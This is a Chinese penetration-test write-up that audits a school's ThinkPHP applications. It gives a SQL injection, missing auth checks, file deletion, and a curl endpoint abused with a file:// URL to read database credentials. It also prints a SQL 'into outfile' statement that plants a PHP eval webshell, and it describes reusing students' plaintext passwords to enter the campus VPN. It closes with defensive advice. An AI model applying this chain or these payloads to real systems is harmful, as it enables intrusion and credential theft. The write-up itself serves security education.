记一次通过代码审计完成的渗透
字数 1573 2025-08-18 11:36:36
通过代码审计完成的渗透测试教学文档
1. 信息收集阶段
1.1 基础信息收集
- 使用百度搜索目标学校相关站点
- 收集目标域名:example.edu.cn
- 使用子域名扫描工具
- 进行C段扫描
1.2 目录扫描
- 使用railgun工具对各个域名进行目录扫描
- 发现备份文件泄露漏洞:
/www.rar包含网站源码
2. 初步渗透尝试
2.1 备份文件分析
- 下载并解压www.rar备份文件
- 发现三个可疑文件,实为通过phpmyadmin全局日志备份获取的webshell
- 尝试使用菜刀连接,但shell被删除
2.2 数据库访问尝试
- 发现网站包含两个ThinkPHP框架的公众号后端和一个phpmyadmin
- 从ThinkPHP数据库配置文件读取到MySQL账号:root/root
- 尝试登录phpmyadmin导出文件获取shell
- 失败原因:管理员发现后修改了MySQL密码
3. 代码审计阶段
3.1 项目一审计
3.1.1 SQL注入漏洞
- ThinkPHP版本:3.1.3(仅存在注入漏洞,无RCE)
- 漏洞位置:
IndexAction类的content方法
public function content() {
$id = $_GET['id'];
$cate = new Model("content");
$sql = "Select c.CONTENT_ID,... where c.CONTENT_ID=".$id." and c.status=2...";
echo json_encode($cate->query($sql));
}
- 漏洞利用:直接拼接用户输入的
id参数到SQL语句中
3.1.2 CSRF漏洞(难以利用)
- 发现
httpGet函数存在CSRF漏洞
private function httpGet($url) {
// 省略curl设置
$res = curl_exec($curl);
return $res;
}
- 限制:由于是
private方法,无法直接调用
3.2 项目二审计
3.2.1 未授权访问漏洞
- 权限验证基类
PublicAction:
class PublicAction extends Action {
public function _initialize() {
$name = session("name");
if(!$name){
$this->redirect('Admin/Index/login');
}
}
}
- 多个类未继承验证类:
class CommentAction extends Action
class NewsAction extends Action
class OrderAction extends Action
class SystemAction extends Action
...
3.2.2 任意文件删除漏洞
- 漏洞位置:
SystemAction类的rmdirr方法
public function rmdirr($dirname) {
if (!file_exists($dirname)) return false;
if (is_file($dirname) || is_link($dirname)) {
return unlink($dirname);
}
// 递归删除逻辑
return rmdir($dirname);
}
- 利用方式:通过未授权访问直接调用该方法
3.2.3 请求伪造漏洞
- 漏洞位置:
PublicAction中的curl相关方法
public function getCurl($url) {...}
public function postCurl($url,$post_data) {...}
public function login_get($url, $cookie) {...}
public function get_content($url, $cookie) {...}
- 特别关注
postCurl方法会打印输出结果
3.2.4 文件读取利用
- 构造EXP读取数据库配置文件:
http://wx_xxxxxx_rtm/index.php/Index/Search/postcurl?url=file://D:\WWW\wx_xxxxxx_rtm\App\Conf\config.php&post_data=1
- 获取数据库凭据:
'DB_USER' => 'root',
'DB_PWD' => '123456789@abc',
4. 最终渗透
4.1 获取Webshell
- 使用获取的数据库凭据登录phpmyadmin
- 执行SQL语句写入webshell:
select '<?php eval($_GET[0]);?>' into outfile 'D:\\WWW\\1.php';
4.2 内网渗透
- Web服务为system权限,但无法上线Cobalt Strike(已免杀)
- 在数据库中发现学生用户明文密码
- 使用学生凭证登录VPN
- 发现VPN无隔离,可访问整个学校内网
5. 漏洞总结与防御建议
5.1 发现的主要漏洞
- 备份文件泄露
- MySQL弱口令
- SQL注入
- 未授权访问
- 任意文件删除
- 请求伪造(CSRF)
- 配置文件信息泄露
- VPN无隔离
5.2 防御建议
-
备份文件管理
- 禁止将备份文件存放在web可访问目录
- 对备份文件进行加密或权限控制
-
数据库安全
- 避免使用root等高权限账户
- 设置强密码并定期更换
- 限制phpmyadmin等管理工具的访问
-
代码安全
- 使用预处理语句防止SQL注入
- 对所有输入进行严格过滤
- 避免直接拼接SQL语句
-
权限控制
- 统一权限验证机制
- 确保所有需要权限的控制器继承验证类
- 实施最小权限原则
-
文件操作安全
- 限制文件删除等危险操作
- 对用户输入的文件路径进行严格校验
- 避免递归删除等危险功能
-
CSRF防护
- 为关键操作添加CSRF token
- 限制curl等功能的访问权限
- 避免直接输出curl结果
-
VPN安全
- 实施网络隔离
- 使用多因素认证
- 定期审计VPN访问日志
-
密码安全
- 禁止存储明文密码
- 实施强密码策略
- 定期更换密码
6. 渗透测试方法论总结
- 信息收集是关键:全面的信息收集往往能发现意外漏洞
- 不要忽视明显问题:备份文件泄露等"低级"错误仍然常见
- 代码审计是深入渗透的有效途径:当常规方法失效时,代码审计能发现隐藏漏洞
- 漏洞组合利用:单个漏洞可能无法直接利用,但组合多个漏洞可达成目标
- 内网渗透思路:从外网到内网,从Web到系统,再到整个内网